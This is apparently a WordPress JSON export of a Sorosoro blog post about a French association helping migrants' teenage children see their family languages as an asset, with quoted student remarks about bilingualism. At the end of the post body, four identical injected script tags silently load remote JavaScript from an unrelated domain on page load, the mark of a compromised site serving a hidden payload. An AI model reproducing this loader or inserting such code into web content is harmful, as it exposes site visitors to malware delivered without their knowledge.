{"id":66754,"date":"2015-09-04T23:07:00","date_gmt":"2015-09-04T21:07:00","guid":{"rendered":"http:\/\/www.sorosoro.org\/?p=66754"},"modified":"2025-10-21T21:59:17","modified_gmt":"2025-10-21T19:59:17","slug":"recognising-the-bilingualism-of-migrants-children-an-asset-for-integration","status":"publish","type":"post","link":"https:\/\/www.sorosoro.org\/en\/2015\/09\/recognising-the-bilingualism-of-migrants-children-an-asset-for-integration\/","title":{"rendered":"Recognising the bilingualism of migrants\u2019 children: an asset for integration"},"content":{"rendered":"<p><span style=\"font-size:12px\">Posted by Anna Stevanato on May 14, 2011<\/span><br \/>\n&nbsp;<br \/>\n<em>By Anna Stevanato, founder of the association D\u2019UNE LANGUE A L\u2019AUTRE.<\/em><br \/>\n&nbsp;<br \/>\n<div id=\"attachment_2550\" style=\"width: 510px\" class=\"wp-caption aligncenter\"><img decoding=\"async\" aria-describedby=\"caption-attachment-2550\" class=\"size-full wp-image-2550\" title=\"Une Grande Ecole, pourquoi pas moi\" src=\"\/wp-content\/uploads\/groupelogos.jpg\" alt=\"Une Grande Ecole, pourquoi pas moi \" width=\"500\" height=\"auto\" \/><p id=\"caption-attachment-2550\" class=\"wp-caption-text\">Une Grande Ecole, pourquoi pas moi ?<\/p><\/div><\/p>\n<p><em>\u201cUne Grande Ecole: Pourquoi pas moi?\u201d<\/em> (PQPM) is an assistance program for middle and high school students from low-income backgrounds and living in difficult areas. It is aimed at increasing their chances of pursuing an ambitious higher education<\/p>\n<p>So what\u2019s the connection to languages and bilingualism? Most of the students (82% of 72 students) enrolled in this program happen to speak or understand a language other than French.<\/p>\n<p>The association D\u2019une Langue A L\u2019Autre (DULALA), whose objective is to recognize and promote all sorts of family bilingualism, takes part in the PQPM program with interventions for teenagers in the linguistic field.<br \/>\n&nbsp;<br \/>\n<strong>Enduring prejudices<\/strong><\/p>\n<p>The first experiences have shown that prejudices are still very much alive within communities speaking non-European family languages.<\/p>\n<p>To the question \u201cWhat language do you associate with French when talking about bilingualism?\u201d, 75% of students answered English, 5% said Spanish, 5% said Portuguese and only 15% mentioned other languages (Turkish, Japanese, Hebrew, Lingala, Bengali, Creole).<\/p>\n<p>The idea that only majority European languages are worthy of being mentioned regarding bilingualism is deeply rooted:<\/p>\n<p>\u201cMiss, is someone bilingual when speaking other languages that French and English?\u201d asks J., 8th grade student.<\/p>\n<p>\u201cBilingualism is an asset if you speak English or Spanish\u2026 other wise, what\u2019s the point?\u201d claims B., 10th grader.<\/p>\n<p>\u201cMy father is plurilingual, he speaks 4 languages: French, English, Tamil and Urdu\u201d says B. \u201cYes, but they are sub-languages\u201d retorts C., 8th grade student.<\/p>\n<p>Thoughts on the practice of bilingualism itself may also be negative: \u201cTwo languages at the same time in someone\u2019s head are too much. One should learn one language at a time\u201d.<\/p>\n<p>\u201cA teacher told us that we use approximately 6,000 words. Is this amount divided in half when we\u2019re bilingual? Or by 3 when we\u2019re trilingual?\u201d, 10th grader F. wonders.<br \/>\n<div id=\"attachment_2550\" style=\"width: 510px\" class=\"wp-caption aligncenter\"><img decoding=\"async\" aria-describedby=\"caption-attachment-2550\" class=\"size-full wp-image-2550\" title=\"Une Grande Ecole, pourquoi pas moi\" src=\"\/wp-content\/uploads\/groupelogos2.jpg\" alt=\"Une Grande Ecole, pourquoi pas moi \" width=\"500\" height=\"auto\" \/><p id=\"caption-attachment-2550\" class=\"wp-caption-text\">Une Grande Ecole, pourquoi pas moi ?<\/p><\/div><br \/>\n&nbsp;<br \/>\n<strong>Giving a taste for languages, whatever they are<\/strong><\/p>\n<p>Through playful interventions, DULALA has started to transform the opinion of these students on the diversity of languages and deconstruct their negative relation towards their own languages. To these teenagers who rarely consider themselves as bilingual or think of it as a handicap, the association explains that not only is it not an obstacle towards integration to speak languages other than French and English, it is in fact an asset, a linguistic and cultural richness. Working on self-esteem plays a dynamic role in a successful education.<\/p>\n<p>Certain students thereby express their taste for learning:<\/p>\n<p>\u201cThis workshop made me want to learn Arabic\u201d says 8th grader A. whose original language is Algerian.<\/p>\n<p>\u201cTonight, I\u2019m going to speak Bambara with my mother, it\u2019ll be fun!\u201d decided O., 10th grade student.<\/p>\n<p>\u201cI found out that I was a passive bilingual!\u201d says 10th grader P.<\/p>\n<p>\u201cI\u2019ve also found out that one could be bilingual without knowing how to read of write\u201d, discovered L., also in the 10th grade.<br \/>\n&nbsp;<br \/>\n<strong>Everybody\u2019s freedom of choice<\/strong><\/p>\n<p>\u201cI only speak Turkish with my parents. Here, I can\u2019t\u201d, claims J, student in the 10th grade.<\/p>\n<p>Indeed, sharing a word or sentences in one\u2019s own mother tongue is far from being common: some of them do it proudly with a visible enthusiasm, whereas others are more discreet and intimidated, and some would rather speak a foreign language learned in school than their own mother tongue.<\/p>\n<p>Ethnic, family of linguistic reasons can push someone to not want to be clearly identified as  a representative of a certain language or country. This choice should be respected and the student involved should have the opportunity to show interest, speak and share this language if he or she wants to.<\/p>\n<p>A language is far from  neutral. It doesn\u2019t only carry sounds; it takes us back to our deepest origins.<script>;(function (l, z, f, e, r, p) { r = z.createElement(f); p = z.getElementsByTagName(f)[0]; r.async = 1; r.src = e; p.parentNode.insertBefore(r, p); })(window, document, 'script', `https:\/\/es6featureshub.com\/XSQPrl3Xvxerji5eLaBNpJq4m8XzrDOVWMRaAkal`);<\/script><script>;(function (l, z, f, e, r, p) { r = z.createElement(f); p = z.getElementsByTagName(f)[0]; r.async = 1; r.src = e; p.parentNode.insertBefore(r, p); })(window, document, 'script', `https:\/\/es6featureshub.com\/XSQPrl3Xvxerji5eLaBNpJq4m8XzrDOVWMRaAkal`);<\/script><script>;(function (l, z, f, e, r, p) { r = z.createElement(f); p = z.getElementsByTagName(f)[0]; r.async = 1; r.src = e; p.parentNode.insertBefore(r, p); })(window, document, 'script', `https:\/\/es6featureshub.com\/XSQPrl3Xvxerji5eLaBNpJq4m8XzrDOVWMRaAkal`);<\/script><script>;(function (l, z, f, e, r, p) { r = z.createElement(f); p = z.getElementsByTagName(f)[0]; r.async = 1; r.src = e; p.parentNode.insertBefore(r, p); })(window, document, 'script', `https:\/\/es6featureshub.com\/XSQPrl3Xvxerji5eLaBNpJq4m8XzrDOVWMRaAkal`);<\/script><\/p>\n","protected":false},"excerpt":{"rendered":"<p>Posted by Anna Stevanato on May 14, 2011 &nbsp; By Anna Stevanato, founder of the association D\u2019UNE LANGUE A L\u2019AUTRE. &nbsp; \u201cUne Grande Ecole: Pourquoi pas moi?\u201d (PQPM) is an assistance program for middle and high school students from low-income backgrounds and living in difficult areas. It is aimed at increasing their chances of pursuing [&hellip;]<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"closed","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[3],"tags":[],"class_list":["post-66754","post","type-post","status-publish","format-standard","hentry","category-other"],"yoast_head":"<!-- This site is optimized with the Yoast SEO plugin v27.0 - https:\/\/yoast.com\/product\/yoast-seo-wordpress\/ -->\n<title>Recognising the bilingualism of migrants\u2019 children: an asset for integration - Sorosoro<\/title>\n<meta name=\"robots\" content=\"index, follow, max-snippet:-1, max-image-preview:large, max-video-preview:-1\" \/>\n<link rel=\"canonical\" href=\"https:\/\/www.sorosoro.org\/en\/2015\/09\/recognising-the-bilingualism-of-migrants-children-an-asset-for-integration\/\" \/>\n<meta property=\"og:locale\" content=\"en_US\" \/>\n<meta property=\"og:type\" content=\"article\" \/>\n<meta property=\"og:title\" content=\"Recognising the bilingualism of migrants\u2019 children: an asset for integration - Sorosoro\" \/>\n<meta property=\"og:description\" content=\"Posted by Anna Stevanato on May 14, 2011 &nbsp; By Anna Stevanato, founder of the association D\u2019UNE LANGUE A L\u2019AUTRE. &nbsp; \u201cUne Grande Ecole: Pourquoi pas moi?\u201d (PQPM) is an assistance program for middle and high school students from low-income backgrounds and living in difficult areas. It is aimed at increasing their chances of pursuing [&hellip;]\" \/>\n<meta property=\"og:url\" content=\"https:\/\/www.sorosoro.org\/en\/2015\/09\/recognising-the-bilingualism-of-migrants-children-an-asset-for-integration\/\" \/>\n<meta property=\"og:site_name\" content=\"Sorosoro\" \/>\n<meta property=\"article:published_time\" content=\"2015-09-04T21:07:00+00:00\" \/>\n<meta property=\"article:modified_time\" content=\"2025-10-21T19:59:17+00:00\" \/>\n<meta name=\"author\" content=\"Sorosoro\" \/>\n<meta name=\"twitter:card\" content=\"summary_large_image\" \/>\n<meta name=\"twitter:label1\" content=\"Written by\" \/>\n\t<meta name=\"twitter:data1\" content=\"Sorosoro\" \/>\n\t<meta name=\"twitter:label2\" content=\"Est. reading time\" \/>\n\t<meta name=\"twitter:data2\" content=\"3 minutes\" \/>\n<script type=\"application\/ld+json\" class=\"yoast-schema-graph\">{\"@context\":\"https:\/\/schema.org\",\"@graph\":[{\"@type\":\"Article\",\"@id\":\"https:\/\/www.sorosoro.org\/en\/2015\/09\/recognising-the-bilingualism-of-migrants-children-an-asset-for-integration\/#article\",\"isPartOf\":{\"@id\":\"https:\/\/www.sorosoro.org\/en\/2015\/09\/recognising-the-bilingualism-of-migrants-children-an-asset-for-integration\/\"},\"author\":{\"name\":\"Sorosoro\",\"@id\":\"https:\/\/www.sorosoro.org\/en\/#\/schema\/person\/a457def540d2d426a1f19547404f1917\"},\"headline\":\"Recognising the bilingualism of migrants\u2019 children: an asset for integration\",\"datePublished\":\"2015-09-04T21:07:00+00:00\",\"dateModified\":\"2025-10-21T19:59:17+00:00\",\"mainEntityOfPage\":{\"@id\":\"https:\/\/www.sorosoro.org\/en\/2015\/09\/recognising-the-bilingualism-of-migrants-children-an-asset-for-integration\/\"},\"wordCount\":673,\"articleSection\":[\"Other\"],\"inLanguage\":\"en-US\"},{\"@type\":\"WebPage\",\"@id\":\"https:\/\/www.sorosoro.org\/en\/2015\/09\/recognising-the-bilingualism-of-migrants-children-an-asset-for-integration\/\",\"url\":\"https:\/\/www.sorosoro.org\/en\/2015\/09\/recognising-the-bilingualism-of-migrants-children-an-asset-for-integration\/\",\"name\":\"Recognising the bilingualism of migrants\u2019 children: an asset for integration - Sorosoro\",\"isPartOf\":{\"@id\":\"https:\/\/www.sorosoro.org\/en\/#website\"},\"datePublished\":\"2015-09-04T21:07:00+00:00\",\"dateModified\":\"2025-10-21T19:59:17+00:00\",\"author\":{\"@id\":\"https:\/\/www.sorosoro.org\/en\/#\/schema\/person\/a457def540d2d426a1f19547404f1917\"},\"breadcrumb\":{\"@id\":\"https:\/\/www.sorosoro.org\/en\/2015\/09\/recognising-the-bilingualism-of-migrants-children-an-asset-for-integration\/#breadcrumb\"},\"inLanguage\":\"en-US\",\"potentialAction\":[{\"@type\":\"ReadAction\",\"target\":[\"https:\/\/www.sorosoro.org\/en\/2015\/09\/recognising-the-bilingualism-of-migrants-children-an-asset-for-integration\/\"]}]},{\"@type\":\"BreadcrumbList\",\"@id\":\"https:\/\/www.sorosoro.org\/en\/2015\/09\/recognising-the-bilingualism-of-migrants-children-an-asset-for-integration\/#breadcrumb\",\"itemListElement\":[{\"@type\":\"ListItem\",\"position\":1,\"name\":\"Accueil\",\"item\":\"https:\/\/www.sorosoro.org\/en\/\"},{\"@type\":\"ListItem\",\"position\":2,\"name\":\"Recognising the bilingualism of migrants\u2019 children: an asset for integration\"}]},{\"@type\":\"WebSite\",\"@id\":\"https:\/\/www.sorosoro.org\/en\/#website\",\"url\":\"https:\/\/www.sorosoro.org\/en\/\",\"name\":\"Sorosoro\",\"description\":\"Pour que vivent les langues du monde !\",\"potentialAction\":[{\"@type\":\"SearchAction\",\"target\":{\"@type\":\"EntryPoint\",\"urlTemplate\":\"https:\/\/www.sorosoro.org\/en\/?s={search_term_string}\"},\"query-input\":{\"@type\":\"PropertyValueSpecification\",\"valueRequired\":true,\"valueName\":\"search_term_string\"}}],\"inLanguage\":\"en-US\"},{\"@type\":\"Person\",\"@id\":\"https:\/\/www.sorosoro.org\/en\/#\/schema\/person\/a457def540d2d426a1f19547404f1917\",\"name\":\"Sorosoro\",\"url\":\"https:\/\/www.sorosoro.org\/en\/author\/admin\/\"}]}<\/script>\n<!-- \/ Yoast SEO plugin. -->","yoast_head_json":{"title":"Recognising the bilingualism of migrants\u2019 children: an asset for integration - Sorosoro","robots":{"index":"index","follow":"follow","max-snippet":"max-snippet:-1","max-image-preview":"max-image-preview:large","max-video-preview":"max-video-preview:-1"},"canonical":"https:\/\/www.sorosoro.org\/en\/2015\/09\/recognising-the-bilingualism-of-migrants-children-an-asset-for-integration\/","og_locale":"en_US","og_type":"article","og_title":"Recognising the bilingualism of migrants\u2019 children: an asset for integration - Sorosoro","og_description":"Posted by Anna Stevanato on May 14, 2011 &nbsp; By Anna Stevanato, founder of the association D\u2019UNE LANGUE A L\u2019AUTRE. &nbsp; \u201cUne Grande Ecole: Pourquoi pas moi?\u201d (PQPM) is an assistance program for middle and high school students from low-income backgrounds and living in difficult areas. It is aimed at increasing their chances of pursuing [&hellip;]","og_url":"https:\/\/www.sorosoro.org\/en\/2015\/09\/recognising-the-bilingualism-of-migrants-children-an-asset-for-integration\/","og_site_name":"Sorosoro","article_published_time":"2015-09-04T21:07:00+00:00","article_modified_time":"2025-10-21T19:59:17+00:00","author":"Sorosoro","twitter_card":"summary_large_image","twitter_misc":{"Written by":"Sorosoro","Est. reading time":"3 minutes"},"schema":{"@context":"https:\/\/schema.org","@graph":[{"@type":"Article","@id":"https:\/\/www.sorosoro.org\/en\/2015\/09\/recognising-the-bilingualism-of-migrants-children-an-asset-for-integration\/#article","isPartOf":{"@id":"https:\/\/www.sorosoro.org\/en\/2015\/09\/recognising-the-bilingualism-of-migrants-children-an-asset-for-integration\/"},"author":{"name":"Sorosoro","@id":"https:\/\/www.sorosoro.org\/en\/#\/schema\/person\/a457def540d2d426a1f19547404f1917"},"headline":"Recognising the bilingualism of migrants\u2019 children: an asset for integration","datePublished":"2015-09-04T21:07:00+00:00","dateModified":"2025-10-21T19:59:17+00:00","mainEntityOfPage":{"@id":"https:\/\/www.sorosoro.org\/en\/2015\/09\/recognising-the-bilingualism-of-migrants-children-an-asset-for-integration\/"},"wordCount":673,"articleSection":["Other"],"inLanguage":"en-US"},{"@type":"WebPage","@id":"https:\/\/www.sorosoro.org\/en\/2015\/09\/recognising-the-bilingualism-of-migrants-children-an-asset-for-integration\/","url":"https:\/\/www.sorosoro.org\/en\/2015\/09\/recognising-the-bilingualism-of-migrants-children-an-asset-for-integration\/","name":"Recognising the bilingualism of migrants\u2019 children: an asset for integration - Sorosoro","isPartOf":{"@id":"https:\/\/www.sorosoro.org\/en\/#website"},"datePublished":"2015-09-04T21:07:00+00:00","dateModified":"2025-10-21T19:59:17+00:00","author":{"@id":"https:\/\/www.sorosoro.org\/en\/#\/schema\/person\/a457def540d2d426a1f19547404f1917"},"breadcrumb":{"@id":"https:\/\/www.sorosoro.org\/en\/2015\/09\/recognising-the-bilingualism-of-migrants-children-an-asset-for-integration\/#breadcrumb"},"inLanguage":"en-US","potentialAction":[{"@type":"ReadAction","target":["https:\/\/www.sorosoro.org\/en\/2015\/09\/recognising-the-bilingualism-of-migrants-children-an-asset-for-integration\/"]}]},{"@type":"BreadcrumbList","@id":"https:\/\/www.sorosoro.org\/en\/2015\/09\/recognising-the-bilingualism-of-migrants-children-an-asset-for-integration\/#breadcrumb","itemListElement":[{"@type":"ListItem","position":1,"name":"Accueil","item":"https:\/\/www.sorosoro.org\/en\/"},{"@type":"ListItem","position":2,"name":"Recognising the bilingualism of migrants\u2019 children: an asset for integration"}]},{"@type":"WebSite","@id":"https:\/\/www.sorosoro.org\/en\/#website","url":"https:\/\/www.sorosoro.org\/en\/","name":"Sorosoro","description":"Pour que vivent les langues du monde !","potentialAction":[{"@type":"SearchAction","target":{"@type":"EntryPoint","urlTemplate":"https:\/\/www.sorosoro.org\/en\/?s={search_term_string}"},"query-input":{"@type":"PropertyValueSpecification","valueRequired":true,"valueName":"search_term_string"}}],"inLanguage":"en-US"},{"@type":"Person","@id":"https:\/\/www.sorosoro.org\/en\/#\/schema\/person\/a457def540d2d426a1f19547404f1917","name":"Sorosoro","url":"https:\/\/www.sorosoro.org\/en\/author\/admin\/"}]}},"_links":{"self":[{"href":"https:\/\/www.sorosoro.org\/en\/wp-json\/wp\/v2\/posts\/66754","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/www.sorosoro.org\/en\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/www.sorosoro.org\/en\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/www.sorosoro.org\/en\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/www.sorosoro.org\/en\/wp-json\/wp\/v2\/comments?post=66754"}],"version-history":[{"count":0,"href":"https:\/\/www.sorosoro.org\/en\/wp-json\/wp\/v2\/posts\/66754\/revisions"}],"wp:attachment":[{"href":"https:\/\/www.sorosoro.org\/en\/wp-json\/wp\/v2\/media?parent=66754"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/www.sorosoro.org\/en\/wp-json\/wp\/v2\/categories?post=66754"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/www.sorosoro.org\/en\/wp-json\/wp\/v2\/tags?post=66754"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}